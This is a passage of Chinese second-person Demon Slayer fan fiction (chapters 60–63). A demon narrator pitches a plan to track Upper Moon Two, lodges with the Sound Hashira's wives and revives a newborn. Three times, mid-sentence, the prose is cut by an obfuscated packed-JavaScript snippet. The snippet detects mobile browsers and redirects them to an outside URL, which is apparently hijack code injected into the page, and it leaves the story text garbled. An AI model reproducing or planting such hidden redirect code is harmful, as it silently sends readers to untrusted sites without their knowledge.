你好像就待在和他一墙之隔的地方,哼着歌正搓洗着什么。慢慢地,衣服摩擦唰唰声就和曲调的节奏重合了。 实弥曲起膝盖动动伤腿,没有什么明显的痛感。问题不大,很快就能再去杀鬼了。他双手抱头,躺回枕上。 你盯着眼前的大水盆握紧拳头给自己打气。 昨天一天,没有人能解开你所说的那层“木乃伊装”,你自己也不行,香奈惠只好叫人用剪刀全剪了。然后,你就露出了满头满脸的一身灰。 当时大家忙着接收病人、治疗伤患,你只能简单地擦洗一下。现在总算有功夫来一次彻底的清理了! 结实耐磨的裤装撕开了好几个洞,厚实的粗花呢外套也成战损版了。你洗完澡包好头发,换上蝶屋的装束一边心疼,一边把它们全泡进了盆里,一秒收获三个围着你转的小人。 “衣服不是这样洗的!” “不要捏,要这样揉。” “要不我来洗吧。” 你像个小学生一样乖乖认错,坚决拒绝了她们的好意,按指示洗完了所有的衣服,再让她们帮忙晾晒起来。衣架上,摇摇摆摆的两条裤腿,一个个破洞非常明显。 “就应该先缝补再洗。”路过的那个叫小葵的女孩儿评价道。 你羞愧地低下头:“下次就知道了。” 她摇摇头,又问:“你头发怎么回事?” 这下,寺内清、中原澄、高田奈穗全低下了头。她们昨天帮你剪掉头上的布,把里面的头发也都剪坏了。 原本,你只是被黑死牟修得发尾参差不齐,扎起来也还过得去,现在完全是长长短短一塌糊涂了。 她放下手里的东西:“等会儿。” 再出现,拿着梳子、发圈和小卡子。 你坐在小凳子上让她给你梳头。小葵把你后面的头发分成好几份,长的扎紧转着圈盘起来,短的编进发髻,额头前面略长的刘海和碎发用发卡固定好。 “先就这样吧,再长长就好了。” 你对着镜子照了又照,佩服得五体投地。小葵简直是万能的。但她没给你夸出口的机会,还是冷着一张脸马上就消失了。 “别看她这样,”小澄悄悄告诉你,“其实她、忍小姐还有香奈乎都很感激您,可惜忍小姐忙着杀鬼不怎么回来。我们也是。谢谢您救下了香奈惠大人。” 三个白裙子的女孩站一排鞠躬:“谢谢您救下香奈惠大人。” 哎哎哎,怎么突然这样?一点前摇都没有吗?你没有做好准备啊。 “哈哈……那个,我、不是……” 你脸爆红!支支吾吾、比比画画,然后头一低、脚一跺,扭头就跑,冲进了屋里。 “那个……不用谢了啊啊啊啊啊,”你差点一头撞在了门上,“啊,不死川先生您醒了啊。” “嗯,”他道,“你太吵了。” 香奈惠亲自过来换了药。 “恢复得不错,受伤后没有乱动是很聪明的选择。骨骼没有移位,也没有碎块,伤的是不承重的腓骨,照这个速度很快就可以好了,后续也不会有什么影响。但是没长好就乱动的话,会很疼哦。” 她很清楚实弥关心什么,语气调侃但重点一个没落,最后也不忘医生本色,出言警告。 “啰嗦,直接告诉我要多久。” “最多几周就好了。” “那怎么行,”你忧心忡忡地插话,“伤筋动骨一百天啊,我小时候扭一下脚,我妈妈都要给我煲骨头汤喝呢。” 虽然从科学的角度讲骨头汤没用,但它好喝啊。 “呵,”他发出一声嘲笑,“所以你很弱。” 你捂着受伤的小心脏离开病房,奋发图强努力整理你的方案。 实弥已经同意了会看,你反而不自信起来,趁着他养伤加紧修改,跳过频频卡文的第二阶段,先把第一部分改完。 刚开始写这个是为了整理思路,内容建立在你已了如指掌的基础上,现在给鬼杀队的人看,就必须换一种写法。得先让他们理解“大数据”的概念,才能让他们相信这个方案是有可行性的。 你赶稿赶到头秃,爽籁飞进来,告诉了你们向野宅邸的调查结果。 隐从向野的生意伙伴和收藏家同好入手,调查了这个小团体半年来的接触人员,找到了几条可疑的线索。最擅长情报的音柱接下后续任务,现在已经出发启程了。 “他应该会先过来,问问你的看法再走。”香奈惠对实弥道。 当事人的亲身经历是最珍贵的第一手资料,刚好,这也是一个换班的时机。 你在旁边听出了这一层意思。本来,你早就该到蛇柱那里了,杀鬼不顺才让实弥顺延了半个多月。 “挺好,有两个现役柱来听我的方案了。” “唉,”香奈惠不甘心地托腮,“好不容易看到你们相处得这样好呢。” 实弥顿时露出一副吞了苍蝇的表情,而你已经因为马上要开始的答辩心率加速、魂不守舍了。 “很有想象力的华丽方法。”音柱宇髓天元翘着二郎腿评价道,“然后呢?” 你深呼吸放松。 这个做美甲、化一脸浓妆、戴钻石抹额的家伙,也就比实弥潮个十来倍吧。实弥只是执着于深V,还在你能理解的范围内,而他的审美直接闪瞎你的狗眼。 “然后……”你费力捋直舌头,好不那么结结巴巴,“然后我需要得到鬼杀队所有关于童磨血鬼术的记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252545|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把我知道的补充上去。” 方案的第二阶段进行不下去,本质上因为涉及到了你的知识盲区。杀鬼,他们才是专业的。你虽然多次面对过童磨的攻击,但那点浅薄的感知肯定比不上鬼杀队的作战记录还有香奈惠的体检结果。 你直接去问香奈惠的话,她会愿意告诉你的。但你需要的是整个鬼杀队的支持、配合,所以宁愿用笨办法,走流程一个一个说服,然后向上申请。 “说得轻巧,你知道这需要多大投入吗?” “不,”你激动了,“这个工作量一点也不大!” 如果是在你老家,这当然是天方夜谭,但日本是一个多山地丘陵、平原破碎的岛国,人口分布集中。按已知条件一一排查,绝对是可以做到的! 音柱放下摸下巴的手,坐直一点,好像现在才正视你并不好糊弄的事实。 “这个方法是你自己想的吗?”他紧紧地盯着你的脸,似乎在据此判断你有没有说谎。 你百分之百确认,这个人从来就没把你的杀鬼宣言当回事。 “不是我想的,我只是借这个方法用在杀鬼上。” “那是谁想的?” “Viktor Mayer-Sch?nberger和Keh Cukier,俩外国人,你不知道。”* 他果然噎住了,怀疑地看向香奈惠:“蝴蝶,你听说过吗?” 香奈惠摇头:“等小忍回来,我问问她。” 别问了,还得半个世纪他们才出生呢。你急切道:“宇髓先生,你可以和不死川先生联名申请,让我查看鬼杀队的档案吗?” 这并非你真实的目的。计划到了第二阶段你只能是辅助的角色,作用并不重要。所以关键就是第一阶段,只要这部分执行下去,鬼杀队去杀童磨就是水到渠成的事,档案能不能有效补充只是胜率高低的问题罢了。 你真正要做的,是用自己坚决、迫切的态度给他们种下心锚:上弦是可以被找到的,你们是可以去追杀上弦的,方法就在这里,真的不心动吗? 宇髓天元冷冷地注视着你,这一刻,他身上特有的那股玩世不恭已尽数消失。你心中一凛,下意识地挺直了腰。 这是无声的博弈,你不能后退。 奇怪,他的扫视称不上尖锐,却让你觉得被完全看透了。人往往在全神贯注时显露出真实的自我,宇髓先生的行事作风和实弥很不一样,反而接近香奈惠——他们有一套内在的章法早在杀鬼前就形成了,所以应对鬼的方式更受过去逻辑的影响。 宇髓先生一定从事过依靠观察力和判断力的工作,他对此很自信,正在用引以为傲的优势向你施压。 你腿肚子都打起颤来,他却忽地一笑,又是没正形的样子了。 “现在看着可不华丽了,”他问实弥,“不死川你怎么看?” “数字上是可行的。”他一直没说话是在心算,要做到你说的那种程度,投入多少人力、耗费多少时间才够。 结论是,虽然难,但以鬼杀队的实力完全能做到。那是上弦之二,鬼杀队百年未曾达到的成就,再翻倍的投入也是完全值得的。这就是主公所说的“主动出击的新路”。 “可以吗,宇髓先生?”你再次追问。 他懒洋洋地打个哈欠:“可不可以呢?” 所有人盯着他。 “不可以哦。” 61.第 61 章 “为什么啊!”你大喊。 一直到离开蝶屋,你都没有想通,一直问他:“到底为什么啊!” “哪有那么多为什么?”宇髓天元掏掏耳朵,“你真是烦死了,走了。” 你不甘心地跑起来。这个人拒绝联名帮你申请,这点你已有心理准备,可他分明试都不愿去试,到底为什么啊? 后来,他们又讨论了向野宅邸线索的事。香奈惠和实弥一致认为这不过是无惨放出的烟雾弹,他经常这么做,引起骚动巧妙地转移鬼杀队的注意,本体早已逃到了搜寻范围之外。多年来,他们追着这些似是而非的消息,连无惨的尾巴都没有摸到过。 但即便是如此,宇髓天元也决定要尽力地去追查,另外两个人也一致同意。每一场骚动都会波及人命,他们不能放弃任何一个可能。 那你把康庄大道都铺好了,他怎么就是不肯上去呢? 你百思不得其解。 “宇髓先生,请再考虑一下吧!听我……人呢?” 华丽的音柱大人化成一道烟尘消失在路的尽头。 “你太慢了,我先走了,等我老婆来接你吧。”他丢下这句话一秒就跑没影了,比实弥还快。 你真的还在一个人类为主要物种的世界里吗? 幸好蝶屋门口也就一条道,不用担心方向问题。你跑到上气不接下气,一个梳着高马尾的黑发女人出现在路口。 “我是天元大人的妻子雏鹤,”她道,“请跟我来吧。” 你离开后,香奈惠开始和实弥讲她这段时间的研究成果。 “我一直想知道稀血对鬼造成影响的原理是什么,可惜能找到的研究样本太少了,到目前为止也就你和她两个。但我还是发现了一些有意思的点,要听吗?” 实弥单腿站着练习挥刀:“直接说好了,简单点。” “那我直接说结论,你和她的血液成分相似度很高,知道这意味着什么吗?”香奈惠没有吊胃口,直接公布答案,“她的鬼化程度很低。” “这个不是一看就知道了吗?” 大部分鬼刚完成转化时会保留下大部分人类特征,藤袭山用来选拔的鬼就停留在这一阶段;这些鬼如果有机会成长下去,往往会改造躯体来强化自身,成为异形鬼;异形鬼之上,是拥有异能的鬼,到了这里,鬼反而回归到正常人体的形态,但它们的情感、思维都离人十分遥远了。 “我说的不是外表,而是更本质的东西,比如身体组织的形态、器官的运行之类的……你可以理解为她在各方面都更接近人而不是鬼,所以没有血鬼术,体力的增幅也没有显著超出普通人。这种情况我从未见过,不能确认是因为稀血阻止了鬼化,还是因为没有继续鬼化才保留了人类时稀血的特性。” “你想说什么?” “再给我一管血吧,不死川!”香奈惠双手合十,“我预感到这会是非常有价值的研究!” 他停下挥刀,望着天,一会儿才说:“行,还要什么?” “再抓几只鬼做实验用就够了,不过我已经拜托了小忍。你好好休息吧。” “这是什么?” 实弥看着小澄她们端着碗和一只冒气儿的罐子过来,习惯性地皱起眉头,吓得她们往香奈惠身后一缩。 “骨头汤呀,”她笑眯眯地站起来,“来尝尝吧。” 雏鹤把你带到音柱的道场。 “天元大人要外出执行任务,就由我来负责安置你。”她的语气客气里带着疏离,但没有多少恶意,“你就先待在这里吧,有什么事情都可以来找我,我的房间就在隔壁。” “好。” 得到你的回答,她礼貌地退了出去。 你放松下来开始收拾东西,蝶屋带来的换洗衣服放在床上,再整理洗漱用品。你想洗个澡。蝶屋大家都很忙,你不好意思打扰她们,洗完头发,自己打湿毛巾躲房间里全身擦洗了几遍,但感觉不够,还是彻底洗一下比较好。 音柱的道场边就有河流,取水还挺方便的。你找来屋里所有的水盆,又到外面拿了几个水桶。提水进屋,关上门,倒水、脱衣一气呵成,然后—— “你看、你看,和我们一样欸。” “你小声点!” ??? 有人在那里! 你惊叫一声,脚一滑,一头栽进水盆。盛水的桶还有其他容器一次倾倒,撞击声、水声响成一片,这间不大的房间里马上积起一层浅浅的水。 “怎么回事?”雏鹤冲过来拉开门,马上就被眼前的景象惊呆了。 一个留黄色刘海和一个黑色短发的女人并排坐下,大声向你道歉:“非常对不起!” 你看似裹着被子一动不动,实则人走了有一会儿了。 “真是的,”雏鹤拿她们没办法,转身对你道,“你穿我的衣服吧,等我一下,马上就来。” 不,别走,别让我和她们待一起啊!你无声的呐喊中,雏鹤的背影消失再门后。 “不要生气了,我是真的很好奇嘛!” 你一副死鱼眼看着她。 “对了,忘了和你说了,”黄色刘海儿女人拍着胸口道,“我是天元大人的妻子牧绪,欢迎来到这里!” 嗯?你记错了? 迟疑一下,你谨慎地开口:“但是,刚刚离开的雏鹤小姐说她是……” “天元大人没说吗?是这样,”她一把搂过旁边短头发的女人,“雏鹤、我还有须磨,我们都是天元大人的妻子。” 你的大脑宕机了,再也处理不了任何信息。对面的人还在叽叽喳喳地问:“你还继续洗吗?我给你搓背吧。” 救命! 你这种麻木的状态持续到宇髓天元回来。 他进屋一看到你就大呼小叫起来:“你怎么穿着我老婆的衣服?” 这惊天地泣鬼神的一声,一把就把你的魂拉了回来。 “问你老婆去啊!” 你直接发疯。 “你怎么没有告诉我你有三个老婆?” “哈?你也没问啊?”他瞪回来。 你气得说不出话。 “不管怎么看,你都毫无华丽之处。”他又开始用那种眼神打量你了,“上弦之一的品味就这样吗?太不华丽了,你根本比不上我老婆!” 是是是,你一个怎么顶得上仨。 你转身就走,不想跟他说话了。宇髓天元却追上来,一副和你推心置腹的表情姿态:“能不能告诉我,上弦之一几个老婆啊?” 你爆炸! “看来是只有你一个了,”他闪得很及时,“太逊了吧。” “什么嘛!他要是和你一样,我才不会现在才想要砍他!”你气到发昏,口不择言。 “勇气可嘉啊,”他一下子弯下腰和你对视,“但你要怎么做到呢?就算他和我一样,你又能怎么办呢?” 你愣住。 假如刚结婚儿那会儿,岩胜就再娶了两个别的女孩儿,凑齐一桌麻将,你能怎么办呢?不得不承认,你好像、也许、大概、确实,不会怎么样。 你是一个软弱、安于现状,同时也没什么手段的人,宅斗剧本演不来也没有心劲去演。如果他们也愿意相安无事的话,你们就当舍友处着,一辈子就那么过没什么,你虽不理解也会默默走开,在心底祝福他们三个得到幸福的。就是奶娘可能会跳脚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256156|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼着你去斗。 那样的话,你是绝对不会爱上岩胜的。你的爱收回,纠缠在你们之间的恩怨因果也将不复存在。 但是……你忍不住想,要是岩胜还爱你呢?要是他像那个时代的大多数人一样,爱着你也不离开其他女人呢?那是很有可能发生的,不是吗?如果是那种情况,你也还是什么都不做吗? 不会的。你清晰地听到心底传来的声音。 不会的。 一开始,你可能会惯性地逃避,为了平静的生活妥协,自我说服放弃一部分自尊。可倘若他一再地侵入你的世界,随心所欲的话,终有一日,一切会到你再也无法忍受的程度。那时,不管多么懦弱无能,你也要奋起反抗,不惜玉石俱焚,就像现在这样。 无论哪一种,你跨越四百年的痛苦都可以提前结束了。莫非,这才是正确的答案吗? 宇髓天元连连退后好几步。 “怎么搞的啊?”他叫道,“我随口一说,你怎么还想起来了?别哭啊!” 你哭了吗?下意识地摸一把脸,手心果然是湿漉漉的。 “受不了你了。” 天元转身离开,留下你一个人在原地茫然地低着头,看到地板上飞速地汇聚起一泊眼泪。 宇髓天元承认,他是故意的。 他想要试探你和上弦之一的关系。 柱合会议上,香奈惠第一次提出想要吸纳你进入鬼杀队时,他就在思考这个问题了。 香奈惠说,你和上弦之一是夫妻关系。当时,在场的柱们一片“什么”“你疯了”之类的话,他们震惊过后就跳过这一点说别的了,香奈惠也是迷惑的表情,并没有深入讲下去。天元却觉得,果然如此。 要说他和其他柱有什么不同,那就是,他有家室。 目前和你接触过的两个柱,香奈惠和实弥,都曾一脸复杂地提到你保持着全部的人类生活习惯。雏鹤也是这样描述的。但这怎么可能呢? 天元杀过各式各样的鬼。那些刚转化不久的鬼可能还有点儿人类的意识,比如羞耻,会好好穿衣服之类,但时间长了就不一样了。身体还有习性的异化会影响到方方面面,一只鬼只会越来越“鬼”,绝无倒回去的情况。 唯一的解释只能是,你一直被当作人一样地照顾着,从未面临过鬼的境遇。这不容易做到,鬼的需求和人是相反的。上弦之一要全方位地退让,将你的喜好置于自己之前,数十年如一日,你才能理所当然地延续生前的作风从无改变。 天元也是将妻子置于自己之前的人,其中的分量不会有人比他更清楚了。 这是你的血对他有用就能解释的吗? 天元甚至想,真相根本是倒过来的,不是上一喝你的血,你喝他的血才对。这个猜测一旦说出来,他就是所有人的笑话了。所以天元忍住没告诉过任何人,也因此,怀疑的种子在心里不断发芽,见到你的那刻达到顶峰—— 如果你们的相处模式是那样的话,你有什么理由离开上弦之一,信誓旦旦要砍下他的头呢? 这个问题得不到解答,你的方案再怎么有诱惑力,他也答应不下来。可试探出来又该怎么办呢?若不是骗局,那就是一个堪比宇髓家族史的胃痛故事了。 “呐,”宇髓天元含笑问向膝前美丽的妻子们,“发生什么事,你们会想要杀我呢?” 雏鹤震惊地抬起头:“大人怎么会说出这种话?” 须磨哇一声哭出来:“大人,大人你怎么了?得绝症了吗?不要瞒着我们,快说啊!” 牧绪一把推开她:“别听她乌鸦嘴!天元大人,你怎么样了啊!呜……” 呃,宇髓天元胃痛起来。 62.第 62 章 在音柱这里待够一段时间后,按顺序你该轮换到炎柱那里了。虽然宇髓天元表示他部下多管得过来,无所谓你住多久,但你谢过他的好意果断选择了离开。 在牧绪和须磨的统治下,你过得水深火热。她们永远对你充满旺盛的热情和好奇,你给她们展示你的宝宝、钢笔、记事本、手表、竖笛以及包里的各种东西,你被她们评价“非常奇怪”的衣服,还吹奏了不同的曲子……简直是提前过上了彩衣娱亲的日子。 听起来不错,唯一的问题是:你不是她们生的。 还好有雏鹤,三个人里只有她懂什么叫边界感。就算你因为没有小葵帮忙打理顶着一头乱七八糟长短不一的头发,她也只是温柔地问问需不需要帮忙。 然后你就收获了一个漂亮的妹妹头,剪坏的部分理成完美的层次,好像本该就如此。赞美雏鹤! “你喜欢就好,牧绪和须磨的头发也是我修剪的呢。”她笑着对你说。 你替温柔姐姐心梗。再次唾弃宇髓天元的择偶观! 总之,你离开这个跟你三观不合的地方,和出任务的宇髓天元一起去找名叫炼狱杏寿郎的炎柱汇合。 这个人你有印象,初到鬼杀队的那天,他火焰一样的发色和瞳色让你严重怀疑自己穿来了什么世界。除此之外都还好,这个人并没有对你流露出超出正常范围的情绪反应,应该能好好相处吧。 而且,多和一个柱接触,计划实现的可能性也会增加。你知道以鬼的身份和鬼杀队合作会很难,心里并不气馁。穆罕默德说山不就我,我去就山。多试几个柱,总能成的。 怀抱着这样的希望,你见到了炼狱杏寿郎。 你们来到一座饭馆前,宇髓天元冲着窗户喊一句“交给你了”就再度化成一道烟尘。你掀起门帘走进去,看着桌上堆积如山的碗碟目瞪口呆,在一声声“好吃”中根本找不到插话的余地。 “再吃完这一碗,我就可以说了吧。” 数不清心里重复了多少遍,火焰头男人终于把碗一推,精神抖擞道:“老板,结账!” 你也麻溜站起来,跟在他身后。 “那个……”你尝试着搭话。 “是要说追查上弦之二的事吗?” “哎?!”你震惊! “看来是这件事没错了,”他目视前方,但明显是在和你说话,“我已经知道了。很棒的想法,值得一试,但要再考虑!” 你直接沉默了。 他大声对你说着“再考虑”,目光炯炯、声音洪亮,双眼笔直地扫视前去,坚定得能报名敢死队。那样子给人的感觉就是,他说了考虑就一定是在考虑,催促的人反而显得居心叵测。 “是有什么地方你觉得不完善吗?”你只能把这句话咽回去了。 沉默中,内心的惊慌在逐渐扩大。 “你、你知道了,是什么意思?” 炼狱杏寿郎停顿数秒忽然靠口,状似恍然大悟:“是风柱和音柱派鎹鸦告诉我的。” 他肩上那只叫“要”鼓动翅膀,一会儿才停下来,好像也在告诉你“是我是我,我也有传送消息”。 这还不够,他继续补刀:“所有的柱应该都知道了。” 夜晚的街道显得有些空旷,炼狱目不斜视、昂首阔步,好像有一群人在检阅。你小碎步缀后面,形同被检阅的战俘。 老实说,难得碰到一个柱没有用赛过博尔特的速度把你甩没影儿,还怪不习惯的。 炼狱的刀不像实弥那么冷冽,而是一种烈焰一样的炽热,但他们杀鬼的效率是高度一致的。躲在夜色里垂涎的怪物通通逃不过那柄火红的刀锋,咆哮着烧尽了。 你魂不守舍,跟他在杀鬼的路上,满脑子只剩一个念头:所有的柱都知道了,这意味着什么? 你尽可以乐观地想,八个人里总会两三个愿意去实践吧,只要他们去做,就已经取得了阶段性的胜利。可是,真的是这样吗? 远处的尖叫和撞门声猛地将你惊醒,炼狱神情一紧,翻过院墙,直线冲向声音的源头。你在小巷子里乱撞,拐了七八个弯终于摸到倒塌的大门,跨过碎裂的推拉门冲进去,看到角落里哭泣的小女孩儿,还有消散在空气中的鬼的残肢。 还好,还好,看起来没有大碍,小朋友只是收了点惊吓。那这血味是…… “要,去喊人来帮忙。”炼狱蹲下来安抚着倒在地上痛苦喘息的人,刀收入鞘中,一手轻轻托住她的头,另一只手犹豫地悬在半空,不敢触碰她高高隆起的腹部。 紫藤花之家的人赶过来时,炼狱正哄着小女孩儿问她家里大人的消息,你已经翻出能找到的被褥、床单叠起来垫在孕妇身下,抬高头和上半身,防止晕厥,还教她把腿曲起来。 “我、我叫穗子,”小姑娘哭得抽噎,“没、没有,就我和姐姐,姐夫不在……” 你用手帕擦拭着孕妇头上滚滚的汗珠,小声安慰着:“不怕、不怕,医生马上就来了。你叫什么名字?” 她靠着你痛得不住哀嚎。 “我……我是,花子……” 你擦拭的手停下。 这是巧合,花子这个名字很常见,有很多人叫做花子。 “好的,花子,你看着我。”你强作镇定,“放松,不要憋气,孩子出来还有一会儿呢,保存体力。相信我,不会有事的。” 她含泪点点头,按你教的方法调整呼吸。 “我很、痛,还没好吗?” “没有的,现在是开始阶段,至少还有几个时辰。” “可我,已经,忍不住了,”她哭起来,“我……会死吗?” “不会的。” “真的?” “真的,”你握住她的手,“你已经被我们救下来了,以后都没事了。” 紫藤花之家的人抬着担架满头大汗地进来,他们手里的灯照亮了被鬼弄得一片狼籍的屋子,还有花子稚嫩的,绝对不超过十七岁的脸。 你暗骂一声万恶的旧社会,赶紧指挥着大家把人抬上去。 “托住肩和脚踝,不要抱,不要压到肚子,快!” 炼狱杏寿郎抱起哭得更厉害的穗子加入进来,深深地看你一眼,询问前来的负责人:“产婆找到了吗?” “正在找,”负责人急切道,“应该快到了!” 紫藤花之家主要是给鬼杀队提供服务的,那里的常驻医师更擅长外伤,处理早产的孕妇还是头一回,但事发突然也只能赶鸭子上架了。 “好,我们都快些。” 他背着穗子跑起来,你也跟着担架一起跑,大声鼓励花子坚持住。 她在阶段性地阵痛中等待了足足半个时辰,产婆才到来。在这之前,你让人准备好了热水、酒精、剪刀,还熬了汤给花子补充体力。 “没事的、没事的,肯定没事的。”门外你神经质地念念叨叨,眼睛死盯着,好像要透过木板看清里面的场景。 你能做的都做了,剩下的就看产婆和花子自己了。会没事的。 真的吗? 你的意识不受控制地飘远,脱离开紧急万分的现实,飘荡到四百年前的另一位花子,你的奶娘那里。 记忆中,她老是说着不好听话,追在身后要你干这个不干那个,那一套在你看来完全就是糟粕。所以你厌烦,不留情面反驳,毫无心理负担地阳奉阴违,让她伤心。可你也一直知道,你是她最爱的人,没有之一。恶鬼袭来的夜晚,你们生死相依…… 你死后,她怎么样了呢?你一走了之,抛下再无人掌管的继国家还有两个年幼的孩子,和把肉抛给群狼有什么区别?她要怎么办呢,时透家绝非善类,就算奉上家产改姓以求自保,寄人篱下的日子也不会好过。 那么艰难,她也护着你的孩子活下来了。不光是你的孩子,你孩子的孩子都靠她良善的荫蔽绵延至今,到这一代的无一郎为止。你曾为她做过什么吗? 老天,让花子们都能过得好吧。 天边泛起鱼肚白,炼狱杏寿郎不动声色把你推到屋檐的影子下,你们一起等待着。 屋里响起凌乱脚步声。 “生了,生了!” 可你们迟迟听不到婴儿的哭声。 花子伏在枕上痛苦嚎啕。产婆也是一脸悲伤。 新生儿全身发紫小小的躯体躺在产床上,没有一丝起伏。紫藤花之家的护士帮忙清理掉婴儿口腔里的羊水和粘膜,按摩脊柱两侧,轻拍他的足底,就是等不来那一声希望的啼哭。 孩子出生就死去了,这样的事其实并不少见。 他们已经想好了怎么安慰年轻的妈妈。 你掀开门闯了进来。 “还有救!给我针筒、医用手套还有橡皮筋!” 你就知道!以前,你的手机绝不会白白给你推送“设备不全医护妙招挽救患者”的催泪社会新闻!你命里有这一遭,知识它这不就有用了吗? 紫藤花之家的人们呆愣着,看你把用剪开的指套罩住小婴儿的口鼻,轻轻推动另一头用橡皮筋固定住的针筒的活塞,一下、一下,让空气进入他的肺部。 “炎柱大人,”他们耳语道,“我们还能做什么呢?” 炼狱杏寿郎道:“把窗帘都拉上。” 嗯?他们不解,但看到柱都动起手来,也慌忙一拥而上。 所有的帘子都垂下来,即将对你造成致命威胁的阳光阻挡在外。你专心致志,轻柔地动作,免得婴儿脆弱的身体再受伤害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262484|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一分钟、两分钟,时间如此漫长。花子止住哭泣,抱着妹妹眼睛一眨不眨地注视着你这里。慢慢地,他的胸起来,发出一声微弱的哼哼。 你不敢动,睁大眼睛看着这个小小的生命。 他砸吧砸吧嘴,哭起来。 接下来发生的事你其实不太清楚,有很多很多的声音,哭泣、欢笑、大喊大叫,还有很多很多的人影,拿东西、端水、送饭。 直到有人抱起包好的襁褓送到你面前,你才重新活过来。先是眼珠子一转,然后全身的肌肉松弛下来,九重天外的灵魂一点点归位。 “说点什么吧。”大家热切地望着你。 “哦……好好好。”你手忙脚乱接过来,用标准姿势,小心翼翼托住婴儿柔软的脊柱。他身上的青紫已经褪去,变成可爱的粉色。 你就这么抱着他送入花子的怀中。 “这是你的宝宝,他可能有一点弱,会长得慢一些,需要更多的照顾,但他会好好长大的。” 一定会的。 所有人忙着去照顾产后虚弱的花子,想办法联系她外出的丈夫。你找到一个无人的角落,毫无形象地摊开四肢躺下去,感受许久未有的宁静、喜乐潮水一样漫过来,你可以全身心放松地沉进去。 视野里出现白色火焰纹羽织的一角,是炎柱炼狱杏寿郎。 对,他要赶路去下一个地方杀鬼了。但你不能在白天行动呀,还是等等吧,反正白天鬼也不会出来伤人。你只想让这段独自回味的时间延长一些。 炼狱杏寿郎停在你身前,彻夜未眠的他看起来仍然精神十足,金红两色的头发蓬松地散在脸旁边,像是鸟儿炸起的颈羽,就连他目光明亮不闪不避的直视看起来也有禽类进攻的姿态。 就像是猫头鹰…… 你的念头还没有成形,他俯下身看着你。 “时透小姐?” “嗯?”你歪歪头,“什么事?” 他还是那么看着你,看着你平和的表情裂开,露出底下大片的苍白和死寂。 “果然,我猜对了。” 他滔滔不绝讲着自己的猜测。 “出发前我刚见过霞柱——啊,你是真的很在乎他呢。不过,他什么也不肯说。我只好拜托‘要’问了那天所有的鎹鸦,虽然它们说的不是很清楚,但还是让我听到了关键的信息。小姐,”他加重了语气,“你是怎么知道霞柱有兄长的呢?那是你们第一次见面吧。” 你一言不发。你当然不知道无一郎有没有兄弟姐妹,你只知道自己当初生了两个孩子。 见你没有反应,他只好再罗列证据:“还有,时透小姐,你应该生过孩子吧?” 他用肯定的语气补充道:“我亲眼看着弟弟出生、成长。我的母亲怀抱着他、照顾他,相信他会好好长大,就像你一样。我和风柱交流过,你曾说全部有记忆的时间加起来有八十多年,可按鬼杀队的档案算,怎么看都只有五十多年而已。多出来的这些年份是从哪里来的呢?” 你还是瘫着,动弹不得。 他移开了视线。 “很抱歉,小姐。我们这些柱商量过,一致认为你的方法很好,肯定会有用。但是,如果你在身份信息和动机上都有严重欺瞒的话,合作看起来再美好,也只是一座建在流沙之上的大厦。请恕我们不能相信你。” 一只手攀上了他的衣角,炼狱杏寿郎停住。在他杀鬼的生涯中不乏这样的情景:逼入绝境的鬼放下凶相,承诺不再吃人,苦苦地哀求着,就如你现在这样。 你颤抖的手拉着他羽织的边缘。 “不要,告诉他,”你痛苦得说不出完整的句子,“不要告诉,无一郎。” 你渴望在柱之间的轮换中有一天能到他那里,仅此而已。你不想打扰他,只要看到他过得很好,再打听一下他其他的家人如何,就足够了。 这样就够了,不要让他背上那么沉重的包袱,在和鬼势不两立的环境里贴上恶鬼后裔的标签。那对他不公平。 “不要说出去……” “我没有理由替鬼保守秘密,”他严肃道,“但我还是要说,你今天做得很好,我认可了你,只是合作要考略得更多。你还是不愿意说出来吗?” 你快要喘不过气来。 “如果是我的言行令你无法面对的话,我理解。我会离开,通知下一位柱提前到来。”他退到门后,“你留在这里等消息就好了。” 你抱住膝盖,鬼的身体也开始感到冷。 不知道炎柱交代了什么,这一天都没有人来打扰你。 暮色四合,正对着庭院的那扇门拉开,来人穿着一半红色一半龟甲纹的外衣。 “我是富冈义勇。”他简短地介绍道。 63.第 63 章(加更) 你来到水柱的道场。 这是一座比你自己家还要侘寂风的屋子,你至少还有一个满满当当的书架,这里只能用家徒四壁来形容。走进如此空旷的房间,你隐约能听到脚步的回声,好像自己无一物的心也在机械地反射外界的声音。 富冈义勇和你相对枯坐。 除了见面的第一句话,你们再也没有任何交流。 炼狱杏寿郎是因为自己话太多,所以控制变量挑一个不怎么开口的柱,看能不能撬开你的嘴吗? 你呆呆地坐着,视线只落到膝盖前面一点的位置上,富冈义勇也是。 如果不是鎹鸦宽三郎扇着翅膀从窗外飞到他的肩上,你快要以为这个人不会动了。 